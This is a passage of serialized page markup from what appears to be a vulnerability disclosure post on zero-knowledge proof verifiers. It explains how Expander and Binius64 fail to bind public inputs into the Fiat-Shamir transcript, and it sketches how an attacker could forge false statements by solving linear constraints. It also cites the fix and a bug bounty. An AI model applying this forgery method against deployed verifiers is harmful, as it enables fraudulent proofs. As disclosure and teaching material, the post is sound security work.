GKRVerifierHelper",{"type":22,"tag":264,"props":122599,"children":122600},{"style":4309},[122601],{"type":27,"value":4785},{"type":22,"tag":264,"props":122603,"children":122604},{"style":4401},[122605],{"type":27,"value":122571},{"type":22,"tag":264,"props":122607,"children":122608},{"style":1539},[122609],{"type":27,"value":2660},{"type":22,"tag":264,"props":122611,"children":122612},{"style":4309},[122613],{"type":27,"value":4413},{"type":22,"tag":264,"props":122615,"children":122616},{"style":1549},[122617],{"type":27,"value":122618},"layer",{"type":22,"tag":264,"props":122620,"children":122621},{"style":4309},[122622],{"type":27,"value":210},{"type":22,"tag":264,"props":122624,"children":122625},{"style":1539},[122626],{"type":27,"value":122627},"const_, ",{"type":22,"tag":264,"props":122629,"children":122630},{"style":1549},[122631],{"type":27,"value":122632},"public_input",{"type":22,"tag":264,"props":122634,"children":122635},{"style":1539},[122636],{"type":27,"value":4380},{"type":22,"tag":264,"props":122638,"children":122639},{"style":1549},[122640],{"type":27,"value":122641},"sp",{"type":22,"tag":264,"props":122643,"children":122644},{"style":1539},[122645],{"type":27,"value":5142},{"type":22,"tag":23,"props":122647,"children":122648},{},[122649,122651,122656],{"type":27,"value":122650},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":22,"tag":257,"props":122652,"children":122654},{"className":122653},[],[122655],{"type":27,"value":122641},{"type":27,"value":22049},{"type":22,"tag":23,"props":122658,"children":122659},{},[122660],{"type":22,"tag":242,"props":122661,"children":122662},{},[122663],{"type":27,"value":122664},"The vulnerability:",{"type":22,"tag":23,"props":122666,"children":122667},{},[122668,122673],{"type":22,"tag":257,"props":122669,"children":122671},{"className":122670},[],[122672],{"type":27,"value":122632},{"type":27,"value":122674}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":22,"tag":23,"props":122676,"children":122677},{},[122678],{"type":22,"tag":215,"props":122679,"children":122682},{"alt":122680,"src":122681},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":22,"tag":23,"props":122684,"children":122685},{},[122686,122687,122692],{"type":27,"value":17914},{"type":22,"tag":257,"props":122688,"children":122690},{"className":122689},[],[122691],{"type":27,"value":122571},{"type":27,"value":122693}," function computes a linear combination:",{"type":22,"tag":23,"props":122695,"children":122696},{},[122697],{"type":22,"tag":257,"props":122698,"children":122700},{"className":122699},[260,261],[122701],{"type":22,"tag":264,"props":122702,"children":122704},{"className":122703},[267],[122705],{"type":22,"tag":264,"props":122706,"children":122708},{"className":122707,"ariaHidden":273},[272],[122709,122754,122878],{"type":22,"tag":264,"props":122710,"children":122712},{"className":122711},[278],[122713,122717,122726,122731,122741,122745,122750],{"type":22,"tag":264,"props":122714,"children":122716},{"className":122715,"style":95781},[283],[],{"type":22,"tag":264,"props":122718,"children":122720},{"className":122719},[289,27],[122721],{"type":22,"tag":264,"props":122722,"children":122724},{"className":122723},[289],[122725],{"type":27,"value":38862},{"type":22,"tag":264,"props":122727,"children":122729},{"className":122728,"style":94370},[289],[122730],{"type":27,"value":4385},{"type":22,"tag":264,"props":122732,"children":122734},{"className":122733},[289,27],[122735],{"type":22,"tag":264,"props":122736,"children":122738},{"className":122737},[289],[122739],{"type":27,"value":122740},"cst",{"type":22,"tag":264,"props":122742,"children":122744},{"className":122743,"style":421},[420],[],{"type":22,"tag":264,"props":122746,"children":122748},{"className":122747},[426],[122749],{"type":27,"value":429},{"type":22,"tag":264,"props":122751,"children":122753},{"className":122752,"style":421},[420],[],{"type":22,"tag":264,"props":122755,"children":122757},{"className":122756},[278],[122758,122762,122819,122823,122850,122855,122860,122865,122869,122874],{"type":22,"tag":264,"props":122759,"children":122761},{"className":122760,"style":94312},[283],[],{"type":22,"tag":264,"props":122763,"children":122765},{"className":122764},[22929],[122766,122771],{"type":22,"tag":264,"props":122767,"children":122769},{"className":122768,"style":22936},[22929,22934,22935],[122770],{"type":27,"value":110163},{"type":22,"tag":264,"props":122772,"children":122774},{"className":122773},[2147],[122775],{"type":22,"tag":264,"props":122776,"children":122778},{"className":122777},[305,306],[122779,122808],{"type":22,"tag":264,"props":122780,"children":122782},{"className":122781},[311],[122783,122803],{"type":22,"tag":264,"props":122784,"children":122786},{"className":122785,"style":115562},[316],[122787],{"type":22,"tag":264,"props":122788,"children":122789},{"style":22959},[122790,122794],{"type":22,"tag":264,"props":122791,"children":122793},{"className":122792,"style":2169},[326],[],{"type":22,"tag":264,"props":122795,"children":122797},{"className":122796},[332,333,334,335],[122798],{"type":22,"tag":264,"props":122799,"children":122801},{"className":122800},[289,2178,335],[122802],{"type":27,"value":5050},{"type":22,"tag":264,"props":122804,"children":122806},{"className":122805},[396],[122807],{"type":27,"value":399},{"type":22,"tag":264,"props":122809,"children":122811},{"className":122810},[311],[122812],{"type":22,"tag":264,"props":122813,"children":122815},{"className":122814,"style":115842},[316],[122816],{"type":22,"tag":264,"props":122817,"children":122818},{},[],{"type":22,"tag":264,"props":122820,"children":122822},{"className":122821,"style":5427},[420],[],{"type":22,"tag":264,"props":122824,"children":122826},{"className":122825},[289],[122827,122836,122841],{"type":22,"tag":264,"props":122828,"children":122830},{"className":122829},[289,27],[122831],{"type":22,"tag":264,"props":122832,"children":122834},{"className":122833},[289],[122835],{"type":27,"value":62997},{"type":22,"tag":264,"props":122837,"children":122839},{"className":122838,"style":94370},[289],[122840],{"type":27,"value":4385},{"type":22,"tag":264,"props":122842,"children":122844},{"className":122843},[289,27],[122845],{"type":22,"tag":264,"props":122846,"children":122848},{"className":122847},[289],[122849],{"type":27,"value":9661},{"type":22,"tag":264,"props":122851,"children":122853},{"className":122852},[294],[122854],{"type":27,"value":5045},{"type":22,"tag":264,"props":122856,"children":122858},{"className":122857},[289,2178],[122859],{"type":27,"value":5050},{"type":22,"tag":264,"props":122861,"children":122863},{"className":122862},[415],[122864],{"type":27,"value":16710},{"type":22,"tag":264,"props":122866,"children":122868},{"className":122867,"style":665},[420],[],{"type":22,"tag":264,"props":122870,"children":122872},{"className":122871},[670],[122873],{"type":27,"value":112629},{"type":22,"tag":264,"props":122875,"children":122877},{"className":122876,"style":665},[420],[],{"type":22,"tag":264,"props":122879,"children":122881},{"className":122880},[278],[122882,122886,122895,122900,122905,122910,122914,122963],{"type":22,"tag":264,"props":122883,"children":122885},{"className":122884,"style":5409},[283],[],{"type":22,"tag":264,"props":122887,"children":122889},{"className":122888},[289,27],[122890],{"type":22,"tag":264,"props":122891,"children":122893},{"className":122892},[289],[122894],{"type":27,"value":113952},{"type":22,"tag":264,"props":122896,"children":122898},{"className":122897},[294],[122899],{"type":27,"value":2660},{"type":22,"tag":264,"props":122901,"children":122903},{"className":122902},[289,2178],[122904],{"type":27,"value":5050},{"type":22,"tag":264,"props":122906,"children":122908},{"className":122907},[5420],[122909],{"type":27,"value":5423},{"type":22,"tag":264,"props":122911,"children":122913},{"className":122912,"style":5427},[420],[],{"type":22,"tag":264,"props":122915,"children":122917},{"className":122916},[289,113516],[122918],{"type":22,"tag":264,"props":122919,"children":122921},{"className":122920},[305],[122922],{"type":22,"tag":264,"props":122923,"children":122925},{"className":122924},[311],[122926],{"type":22,"tag":264,"props":122927,"children":122929},{"className":122928,"style":113600},[316],[122930,122942],{"type":22,"tag":264,"props":122931,"children":122932},{"style":3602},[122933,122937],{"type":22,"tag":264,"props":122934,"children":122936},{"className":122935,"style":327},[326],[],{"type":22,"tag":264,"props":122938,"children":122940},{"className":122939,"style":94370},[289,2178],[122941],{"type":27,"value":95188},{"type":22,"tag":264,"props":122943,"children":122944},{"style":3602},[122945,122949],{"type":22,"tag":264,"props":122946,"children":122948},{"className":122947,"style":327},[326],[],{"type":22,"tag":264,"props":122950,"children":122952},{"className":122951,"style":113624},[113554],[122953],{"type":22,"tag":264,"props":122954,"children":122956},{"className":122955,"style":113630},[113629],[122957],{"type":22,"tag":2968,"props":122958,"children":122959},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[122960],{"type":22,"tag":2977,"props":122961,"children":122962},{"d":113642},[],{"type":22,"tag":264,"props":122964,"children":122966},{"className":122965},[415],[122967],{"type":27,"value":2806},{"type":22,"tag":23,"props":122969,"children":122970},{},[122971,122972,123041,123043,123048,123050,123055],{"type":27,"value":117189},{"type":22,"tag":257,"props":122973,"children":122975},{"className":122974},[260,261],[122976],{"type":22,"tag":264,"props":122977,"children":122979},{"className":122978},[267],[122980],{"type":22,"tag":264,"props":122981,"children":122983},{"className":122982,"ariaHidden":273},[272],[122984],{"type":22,"tag":264,"props":122985,"children":122987},{"className":122986},[278],[122988,122992],{"type":22,"tag":264,"props":122989,"children":122991},{"className":122990,"style":113600},[283],[],{"type":22,"tag":264,"props":122993,"children":122995},{"className":122994},[289,113516],[122996],{"type":22,"tag":264,"props":122997,"children":122999},{"className":122998},[305],[123000],{"type":22,"tag":264,"props":123001,"children":123003},{"className":123002},[311],[123004],{"type":22,"tag":264,"props":123005,"children":123007},{"className":123006,"style":113600},[316],[123008,123020],{"type":22,"tag":264,"props":123009,"children":123010},{"style":3602},[123011,123015],{"type":22,"tag":264,"props":123012,"children":123014},{"className":123013,"style":327},[326],[],{"type":22,"tag":264,"props":123016,"children":123018},{"className":123017,"style":94370},[289,2178],[123019],{"type":27,"value":95188},{"type":22,"tag":264,"props":123021,"children":123022},{"style":3602},[123023,123027],{"type":22,"tag":264,"props":123024,"children":123026},{"className":123025,"style":327},[326],[],{"type":22,"tag":264,"props":123028,"children":123030},{"className":123029,"style":113624},[113554],[123031],{"type":22,"tag":264,"props":123032,"children":123034},{"className":123033,"style":113630},[113629],[123035],{"type":22,"tag":2968,"props":123036,"children":123037},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[123038],{"type":22,"tag":2977,"props":123039,"children":123040},{"d":113642},[],{"type":27,"value":123042}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":22,"tag":257,"props":123044,"children":123046},{"className":123045},[],[123047],{"type":27,"value":122632},{"type":27,"value":123049},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":22,"tag":257,"props":123051,"children":123053},{"className":123052},[],[123054],{"type":27,"value":122632},{"type":27,"value":123056}," that makes the verifier's check pass.",{"type":22,"tag":23,"props":123058,"children":123059},{},[123060,123064,123066,123073,123074,123077,123084],{"type":22,"tag":242,"props":123061,"children":123062},{},[123063],{"type":27,"value":118062},{"type":27,"value":123065}," Fixed on 21st January 2026 via ",{"type":22,"tag":69,"props":123067,"children":123070},{"href":123068,"rel":123069},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[73],[123071],{"type":27,"value":123072},"commit 4a8c2be",{"type":27,"value":7750},{"type":22,"tag":32283,"props":123075,"children":123076},{},[],{"type":22,"tag":69,"props":123078,"children":123081},{"href":123079,"rel":123080},"https://blog.polyhedra.network/expander-bug-bounty/",[73],[123082],{"type":27,"value":123083},"Claimed 500k Bug bounty",{"type":27,"value":123085}," award pending",{"type":22,"tag":20097,"props":123087,"children":123088},{},[],{"type":22,"tag":181,"props":123090,"children":123092},{"id":123091},"binius64",[123093],{"type":27,"value":109211},{"type":22,"tag":23,"props":123095,"children":123096},{},[123097,123099,123226],{"type":27,"value":123098},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":22,"tag":257,"props":123100,"children":123102},{"className":123101},[260,261],[123103],{"type":22,"tag":264,"props":123104,"children":123106},{"className":123105},[267],[123107],{"type":22,"tag":264,"props":123108,"children":123110},{"className":123109,"ariaHidden":273},[272],[123111],{"type":22,"tag":264,"props":123112,"children":123114},{"className":123113},[278],[123115,123120],{"type":22,"tag":264,"props":123116,"children":123119},{"className":123117,"style":123118},[283],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":22,"tag":264,"props":123121,"children":123123},{"className":123122},[289],[123124,123131],{"type":22,"tag":264,"props":123125,"children":123128},{"className":123126},[289,123127],"mathbb",[123129],{"type":27,"value":123130},"F",{"type":22,"tag":264,"props":123132,"children":123134},{"className":123133},[2147],[123135],{"type":22,"tag":264,"props":123136,"children":123138},{"className":123137},[305,306],[123139,123214],{"type":22,"tag":264,"props":123140,"children":123142},{"className":123141},[311],[123143,123209],{"type":22,"tag":264,"props":123144,"children":123146},{"className":123145,"style":113695},[316],[123147],{"type":22,"tag":264,"props":123148,"children":123150},{"style":123149},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123151,123155],{"type":22,"tag":264,"props":123152,"children":123154},{"className":123153,"style":2169},[326],[],{"type":22,"tag":264,"props":123156,"children":123158},{"className":123157},[332,333,334,335],[123159],{"type":22,"tag":264,"props":123160,"children":123162},{"className":123161},[289,335],[123163],{"type":22,"tag":264,"props":123164,"children":123166},{"className":123165},[289,335],[123167,123172],{"type":22,"tag":264,"props":123168,"children":123170},{"className":123169},[289,335],[123171],{"type":27,"value":3568},{"type":22,"tag":264,"props":123173,"children":123175},{"className":123174},[2147],[123176],{"type":22,"tag":264,"props":123177,"children":123179},{"className":123178},[305],[123180],{"type":22,"tag":264,"props":123181,"children":123183},{"className":123182},[311],[123184],{"type":22,"tag":264,"props":123185,"children":123188},{"className":123186,"style":123187},[316],"height:0.7463em;",[123189],{"type":22,"tag":264,"props":123190,"children":123191},{"style":113820},[123192,123196],{"type":22,"tag":264,"props":123193,"children":123195},{"className":123194,"style":110228},[326],[],{"type":22,"tag":264,"props":123197,"children":123199},{"className":123198},[332,110233,110234,335],[123200],{"type":22,"tag":264,"props":123201,"children":123203},{"className":123202},[289,335],[123204],{"type":22,"tag":264,"props":123205,"children":123207},{"className":123206},[289,335],[123208],{"type":27,"value":31161},{"type":22,"tag":264,"props":123210,"children":123212},{"className":123211},[396],[123213],{"type":27,"value":399},{"type":22,"tag":264,"props":123215,"children":123217},{"className":123216},[311],[123218],{"type":22,"tag":264,"props":123219,"children":123222},{"className":123220,"style":123221},[316],"height:0.1776em;",[123223],{"type":22,"tag":264,"props":123224,"children":123225},{},[],{"type":27,"value":123227}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":22,"tag":23,"props":123229,"children":123230},{},[123231,123233,123238],{"type":27,"value":123232},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":22,"tag":242,"props":123234,"children":123235},{},[123236],{"type":27,"value":123237},"Shift Protocol",{"type":27,"value":123239}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":22,"tag":23,"props":123241,"children":123242},{},[123243],{"type":22,"tag":242,"props":123244,"children":123245},{},[123246],{"type":27,"value":122664},{"type":22,"tag":23,"props":123248,"children":123249},{},[123250],{"type":27,"value":123251},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":22,"tag":618,"props":123253,"children":123255},{"code":123254,"language":4273,"meta":7,"className":4274,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123256],{"type":22,"tag":257,"props":123257,"children":123258},{"__ignoreMap":7},[123259,123294,123319,123353,123361],{"type":22,"tag":264,"props":123260,"children":123261},{"class":1534,"line":1535},[123262,123266,123270,123274,123278,123282,123286,123290],{"type":22,"tag":264,"props":123263,"children":123264},{"style":4293},[123265],{"type":27,"value":14989},{"type":22,"tag":264,"props":123267,"children":123268},{"style":4293},[123269],{"type":27,"value":14994},{"type":22,"tag":264,"props":123271,"children":123272},{"style":4401},[123273],{"type":27,"value":9460},{"type":22,"tag":264,"props":123275,"children":123276},{"style":1539},[123277],{"type":27,"value":7097},{"type":22,"tag":264,"props":123279,"children":123280},{"style":4722},[123281],{"type":27,"value":123130},{"type":22,"tag":264,"props":123283,"children":123284},{"style":1539},[123285],{"type":27,"value":4380},{"type":22,"tag":264,"props":123287,"children":123288},{"style":4722},[123289],{"type":27,"value":117582},{"type":22,"tag":264,"props":123291,"children":123292},{"style":1539},[123293],{"type":27,"value":7881},{"type":22,"tag":264,"props":123295,"children":123296},{"class":1534,"line":1545},[123297,123302,123306,123310,123315],{"type":22,"tag":264,"props":123298,"children":123299},{"style":1549},[123300],{"type":27,"value":123301},"    constraint_system",{"type":22,"tag":264,"props":123303,"children":123304},{"style":4309},[123305],{"type":27,"value":5785},{"type":22,"tag":264,"props":123307,"children":123308},{"style":4309},[123309],{"type":27,"value":8434},{"type":22,"tag":264,"props":123311,"children":123312},{"style":4722},[123313],{"type":27,"value":123314},"ConstraintSystem",{"type":22,"tag":264,"props":123316,"children":123317},{"style":1539},[123318],{"type":27,"value":4812},{"type":22,"tag":264,"props":123320,"children":123321},{"class":1534,"line":1560},[123322,123326,123330,123334,123338,123343,123348],{"type":22,"tag":264,"props":123323,"children":123324},{"style":1549},[123325],{"type":27,"value":8815},{"type":22,"tag":264,"props":123327,"children":123328},{"style":4309},[123329],{"type":27,"value":5785},{"type":22,"tag":264,"props":123331,"children":123332},{"style":4309},[123333],{"type":27,"value":8434},{"type":22,"tag":264,"props":123335,"children":123336},{"style":1539},[123337],{"type":27,"value":5045},{"type":22,"tag":264,"props":123339,"children":123340},{"style":4722},[123341],{"type":27,"value":123342},"Word",{"type":22,"tag":264,"props":123344,"children":123345},{"style":1539},[123346],{"type":27,"value":123347},"],    ",{"type":22,"tag":264,"props":123349,"children":123350},{"style":4284},[123351],{"type":27,"value":123352},"// \u003C- NEVER ABSORBED\n",{"type":22,"tag":264,"props":123354,"children":123355},{"class":1534,"line":1569},[123356],{"type":22,"tag":264,"props":123357,"children":123358},{"style":4284},[123359],{"type":27,"value":123360},"    // ...\n",{"type":22,"tag":264,"props":123362,"children":123363},{"class":1534,"line":1583},[123364,123368,123372,123376,123380,123385,123389,123393,123397,123401],{"type":22,"tag":264,"props":123365,"children":123366},{"style":1539},[123367],{"type":27,"value":4390},{"type":22,"tag":264,"props":123369,"children":123370},{"style":4309},[123371],{"type":27,"value":15056},{"type":22,"tag":264,"props":123373,"children":123374},{"style":4722},[123375],{"type":27,"value":15061},{"type":22,"tag":264,"props":123377,"children":123378},{"style":1539},[123379],{"type":27,"value":7097},{"type":22,"tag":264,"props":123381,"children":123382},{"style":4722},[123383],{"type":27,"value":123384},"VerifyOutput",{"type":22,"tag":264,"props":123386,"children":123387},{"style":1539},[123388],{"type":27,"value":7097},{"type":22,"tag":264,"props":123390,"children":123391},{"style":4722},[123392],{"type":27,"value":123130},{"type":22,"tag":264,"props":123394,"children":123395},{"style":1539},[123396],{"type":27,"value":7923},{"type":22,"tag":264,"props":123398,"children":123399},{"style":4722},[123400],{"type":27,"value":38712},{"type":22,"tag":264,"props":123402,"children":123403},{"style":1539},[123404],{"type":27,"value":7284},{"type":22,"tag":23,"props":123406,"children":123407},{},[123408,123410,123416,123417,123423,123425,123429],{"type":27,"value":123409},"In the shift protocol, challenges ",{"type":22,"tag":257,"props":123411,"children":123413},{"className":123412},[],[123414],{"type":27,"value":123415},"r_j",{"type":27,"value":12290},{"type":22,"tag":257,"props":123418,"children":123420},{"className":123419},[],[123421],{"type":27,"value":123422},"inout_eval_point",{"type":27,"value":123424}," are sampled ",{"type":22,"tag":242,"props":123426,"children":123427},{},[123428],{"type":27,"value":105912},{"type":27,"value":123430}," the public witness is bound.",{"type":22,"tag":23,"props":123432,"children":123433},{},[123434],{"type":22,"tag":242,"props":123435,"children":123436},{},[123437],{"type":27,"value":116785},{"type":22,"tag":23,"props":123439,"children":123440},{},[123441],{"type":22,"tag":215,"props":123442,"children":123445},{"alt":123443,"src":123444},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":22,"tag":23,"props":123447,"children":123448},{},[123449],{"type":27,"value":123450},"During verification",{"type":22,"tag":1867,"props":123452,"children":123453},{},[123454,123474,123486,123505],{"type":22,"tag":1871,"props":123455,"children":123456},{},[123457,123459,123464,123466,123472],{"type":27,"value":123458},"Sumcheck produces challenge points ",{"type":22,"tag":257,"props":123460,"children":123462},{"className":123461},[],[123463],{"type":27,"value":123415},{"type":27,"value":123465}," (bit indices) and ",{"type":22,"tag":257,"props":123467,"children":123469},{"className":123468},[],[123470],{"type":27,"value":123471},"r_s",{"type":27,"value":123473}," (shift indices)",{"type":22,"tag":1871,"props":123475,"children":123476},{},[123477,123479,123484],{"type":27,"value":123478},"Verifier samples ",{"type":22,"tag":257,"props":123480,"children":123482},{"className":123481},[],[123483],{"type":27,"value":123422},{"type":27,"value":123485}," from transcript",{"type":22,"tag":1871,"props":123487,"children":123488},{},[123489,123491,123497,123499,123504],{"type":27,"value":123490},"Verifier computes ",{"type":22,"tag":257,"props":123492,"children":123494},{"className":123493},[],[123495],{"type":27,"value":123496},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":27,"value":123498}," using the unbound ",{"type":22,"tag":257,"props":123500,"children":123502},{"className":123501},[],[123503],{"type":27,"value":62997},{"type":27,"value":19436},{"type":22,"tag":1871,"props":123506,"children":123507},{},[123508,123509,123515],{"type":27,"value":17914},{"type":22,"tag":257,"props":123510,"children":123512},{"className":123511},[],[123513],{"type":27,"value":123514},"public_eval",{"type":27,"value":123516}," feeds into subsequent verification equations",{"type":22,"tag":23,"props":123518,"children":123519},{},[123520],{"type":27,"value":123521},"The MLE evaluation is linear in the public witness bits:",{"type":22,"tag":23,"props":123523,"children":123524},{},[123525],{"type":22,"tag":257,"props":123526,"children":123528},{"className":123527},[260,261],[123529],{"type":22,"tag":264,"props":123530,"children":123532},{"className":123531},[267],[123533],{"type":22,"tag":264,"props":123534,"children":123536},{"className":123535,"ariaHidden":273},[272],[123537,123581,123721,123833],{"type":22,"tag":264,"props":123538,"children":123540},{"className":123539},[278],[123541,123545,123554,123559,123568,123572,123577],{"type":22,"tag":264,"props":123542,"children":123544},{"className":123543,"style":95781},[283],[],{"type":22,"tag":264,"props":123546,"children":123548},{"className":123547},[289,27],[123549],{"type":22,"tag":264,"props":123550,"children":123552},{"className":123551},[289],[123553],{"type":27,"value":62997},{"type":22,"tag":264,"props":123555,"children":123557},{"className":123556,"style":94370},[289],[123558],{"type":27,"value":4385},{"type":22,"tag":264,"props":123560,"children":123562},{"className":123561},[289,27],[123563],{"type":22,"tag":264,"props":123564,"children":123566},{"className":123565},[289],[123567],{"type":27,"value":38862},{"type":22,"tag":264,"props":123569,"children":123571},{"className":123570,"style":421},[420],[],{"type":22,"tag":264,"props":123573,"children":123575},{"className":123574},[426],[123576],{"type":27,"value":429},{"type":22,"tag":264,"props":123578,"children":123580},{"className":123579,"style":421},[420],[],{"type":22,"tag":264,"props":123582,"children":123584},{"className":123583},[278],[123585,123589,123661,123665,123678,123683,123688,123693,123698,123703,123708,123712,123717],{"type":22,"tag":264,"props":123586,"children":123588},{"className":123587,"style":120114},[283],[],{"type":22,"tag":264,"props":123590,"children":123592},{"className":123591},[22929],[123593,123598],{"type":22,"tag":264,"props":123594,"children":123596},{"className":123595,"style":22936},[22929,22934,22935],[123597],{"type":27,"value":110163},{"type":22,"tag":264,"props":123599,"children":123601},{"className":123600},[2147],[123602],{"type":22,"tag":264,"props":123603,"children":123605},{"className":123604},[305,306],[123606,123650],{"type":22,"tag":264,"props":123607,"children":123609},{"className":123608},[311],[123610,123645],{"type":22,"tag":264,"props":123611,"children":123613},{"className":123612,"style":115028},[316],[123614],{"type":22,"tag":264,"props":123615,"children":123616},{"style":22959},[123617,123621],{"type":22,"tag":264,"props":123618,"children":123620},{"className":123619,"style":2169},[326],[],{"type":22,"tag":264,"props":123622,"children":123624},{"className":123623},[332,333,334,335],[123625],{"type":22,"tag":264,"props":123626,"children":123628},{"className":123627},[289,335],[123629,123635,123640],{"type":22,"tag":264,"props":123630,"children":123633},{"className":123631,"style":123632},[289,2178,335],"margin-right:0.02691em;",[123634],{"type":27,"value":50892},{"type":22,"tag":264,"props":123636,"children":123638},{"className":123637},[5420,335],[123639],{"type":27,"value":5423},{"type":22,"tag":264,"props":123641,"children":123643},{"className":123642},[289,2178,335],[123644],{"type":27,"value":2181},{"type":22,"tag":264,"props":123646,"children":123648},{"className":123647},[396],[123649],{"type":27,"value":399},{"type":22,"tag":264,"props":123651,"children":123653},{"className":123652},[311],[123654],{"type":22,"tag":264,"props":123655,"children":123657},{"className":123656,"style":115593},[316],[123658],{"type":22,"tag":264,"props":123659,"children":123660},{},[],{"type":22,"tag":264,"props":123662,"children":123664},{"className":123663,"style":5427},[420],[],{"type":22,"tag":264,"props":123666,"children":123668},{"className":123667},[289],[123669],{"type":22,"tag":264,"props":123670,"children":123672},{"className":123671},[289,27],[123673],{"type":22,"tag":264,"props":123674,"children":123676},{"className":123675},[289],[123677],{"type":27,"value":62997},{"type":22,"tag":264,"props":123679,"children":123681},{"className":123680},[294],[123682],{"type":27,"value":5045},{"type":22,"tag":264,"props":123684,"children":123686},{"className":123685,"style":123632},[289,2178],[123687],{"type":27,"value":50892},{"type":22,"tag":264,"props":123689,"children":123691},{"className":123690},[415],[123692],{"type":27,"value":16710},{"type":22,"tag":264,"props":123694,"children":123696},{"className":123695},[294],[123697],{"type":27,"value":5045},{"type":22,"tag":264,"props":123699,"children":123701},{"className":123700},[289,2178],[123702],{"type":27,"value":2181},{"type":22,"tag":264,"props":123704,"children":123706},{"className":123705},[415],[123707],{"type":27,"value":16710},{"type":22,"tag":264,"props":123709,"children":123711},{"className":123710,"style":665},[420],[],{"type":22,"tag":264,"props":123713,"children":123715},{"className":123714},[670],[123716],{"type":27,"value":112629},{"type":22,"tag":264,"props":123718,"children":123720},{"className":123719,"style":665},[420],[],{"type":22,"tag":264,"props":123722,"children":123724},{"className":123723},[278],[123725,123730,123739,123744,123749,123754,123758,123815,123820,123824,123829],{"type":22,"tag":264,"props":123726,"children":123729},{"className":123727,"style":123728},[283],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":22,"tag":264,"props":123731,"children":123733},{"className":123732},[289,27],[123734],{"type":22,"tag":264,"props":123735,"children":123737},{"className":123736},[289],[123738],{"type":27,"value":113952},{"type":22,"tag":264,"props":123740,"children":123742},{"className":123741},[294],[123743],{"type":27,"value":2660},{"type":22,"tag":264,"props":123745,"children":123747},{"className":123746},[289,2178],[123748],{"type":27,"value":2181},{"type":22,"tag":264,"props":123750,"children":123752},{"className":123751},[5420],[123753],{"type":27,"value":5423},{"type":22,"tag":264,"props":123755,"children":123757},{"className":123756,"style":5427},[420],[],{"type":22,"tag":264,"props":123759,"children":123761},{"className":123760},[289],[123762,123767],{"type":22,"tag":264,"props":123763,"children":123765},{"className":123764,"style":94370},[289,2178],[123766],{"type":27,"value":95188},{"type":22,"tag":264,"props":123768,"children":123770},{"className":123769},[2147],[123771],{"type":22,"tag":264,"props":123772,"children":123774},{"className":123773},[305,306],[123775,123804],{"type":22,"tag":264,"props":123776,"children":123778},{"className":123777},[311],[123779,123799],{"type":22,"tag":264,"props":123780,"children":123782},{"className":123781,"style":94898},[316],[123783],{"type":22,"tag":264,"props":123784,"children":123785},{"style":111366},[123786,123790],{"type":22,"tag":264,"props":123787,"children":123789},{"className":123788,"style":2169},[326],[],{"type":22,"tag":264,"props":123791,"children":123793},{"className":123792},[332,333,334,335],[123794],{"type":22,"tag":264,"props":123795,"children":123797},{"className":123796,"style":115578},[289,2178,335],[123798],{"type":27,"value":9951},{"type":22,"tag":264,"props":123800,"children":123802},{"className":123801},[396],[123803],{"type":27,"value":399},{"type":22,"tag":264,"props":123805,"children":123807},{"className":123806},[311],[123808],{"type":22,"tag":264,"props":123809,"children":123811},{"className":123810,"style":120262},[316],[123812],{"type":22,"tag":264,"props":123813,"children":123814},{},[],{"type":22,"tag":264,"props":123816,"children":123818},{"className":123817},[415],[123819],{"type":27,"value":2806},{"type":22,"tag":264,"props":123821,"children":123823},{"className":123822,"style":665},[420],[],{"type":22,"tag":264,"props":123825,"children":123827},{"className":123826},[670],[123828],{"type":27,"value":112629},{"type":22,"tag":264,"props":123830,"children":123832},{"className":123831,"style":665},[420],[],{"type":22,"tag":264,"props":123834,"children":123836},{"className":123835},[278],[123837,123841,123850,123855,123860,123865,123869,123879,123884,123893,123898,123907],{"type":22,"tag":264,"props":123838,"children":123840},{"className":123839,"style":94312},[283],[],{"type":22,"tag":264,"props":123842,"children":123844},{"className":123843},[289,27],[123845],{"type":22,"tag":264,"props":123846,"children":123848},{"className":123847},[289],[123849],{"type":27,"value":113952},{"type":22,"tag":264,"props":123851,"children":123853},{"className":123852},[294],[123854],{"type":27,"value":2660},{"type":22,"tag":264,"props":123856,"children":123858},{"className":123857,"style":123632},[289,2178],[123859],{"type":27,"value":50892},{"type":22,"tag":264,"props":123861,"children":123863},{"className":123862},[5420],[123864],{"type":27,"value":5423},{"type":22,"tag":264,"props":123866,"children":123868},{"className":123867,"style":5427},[420],[],{"type":22,"tag":264,"props":123870,"children":123872},{"className":123871},[289,27],[123873],{"type":22,"tag":264,"props":123874,"children":123876},{"className":123875},[289],[123877],{"type":27,"value":123878},"inout",{"type":22,"tag":264,"props":123880,"children":123882},{"className":123881,"style":94370},[289],[123883],{"type":27,"value":4385},{"type":22,"tag":264,"props":123885,"children":123887},{"className":123886},[289,27],[123888],{"type":22,"tag":264,"props":123889,"children":123891},{"className":123890},[289],[123892],{"type":27,"value":38862},{"type":22,"tag":264,"props":123894,"children":123896},{"className":123895,"style":94370},[289],[123897],{"type":27,"value":4385},{"type":22,"tag":264,"props":123899,"children":123901},{"className":123900},[289,27],[123902],{"type":22,"tag":264,"props":123903,"children":123905},{"className":123904},[289],[123906],{"type":27,"value":119137},{"type":22,"tag":264,"props":123908,"children":123910},{"className":123909},[415],[123911],{"type":27,"value"